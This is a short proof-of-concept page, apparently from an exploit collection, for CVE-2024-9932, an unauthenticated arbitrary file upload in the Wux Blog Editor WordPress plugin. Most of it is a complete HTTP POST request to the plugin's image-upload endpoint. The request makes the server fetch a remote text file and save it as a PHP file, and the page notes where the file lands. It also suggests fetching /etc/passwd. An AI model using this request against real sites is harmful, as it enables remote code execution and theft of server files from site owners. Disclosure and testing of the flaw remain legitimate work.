CVE-2024-9932 PoC — Wux Blog Editor <= 3.0.0 - Unauthenticated Arbitrary File Upload

Source

Associated Vulnerability

Description

Wux Blog Editor <= 3.0.0 - Unauthenticated Arbitrary File Upload

Readme

# CVE-2024-9932
Wux Blog Editor <= 3.0.0 - Unauthenticated Arbitrary File Upload

# Description:
The Wux Blog Editor plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation in the 'wuxbt_insertImageNew' function in versions up to, and including, 3.0.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possi

```
Link: CVE-2024-9932
State: PUBLISHED
Score: 9.8
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
```

POC
---

```
POST /wp-json/external-post-editor/v2/image-upload HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/plugins.php?plugin_status=all&paged=1&s
Content-Type: application/json; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 165
Origin: http://kubernetes.docker.internal
Connection: keep-alive

{
    "url": "https://rfi.nessus.org/rfi.txt",
    "imageName": "rf.php",
    "image_alt": "Description of the image",
    "image_title": "Title of the image"
}
```

File ended up in /wp-content/uploads/2024/11/rf.php

You can also provide it a file location like /etc/passwd

File Snapshot

 [4.0K]  /data/pocs/93c30b09eb08668e05af16fa97917bd31d19c611
└── [1.4K]  README.md

0 directories, 1 file

Remarks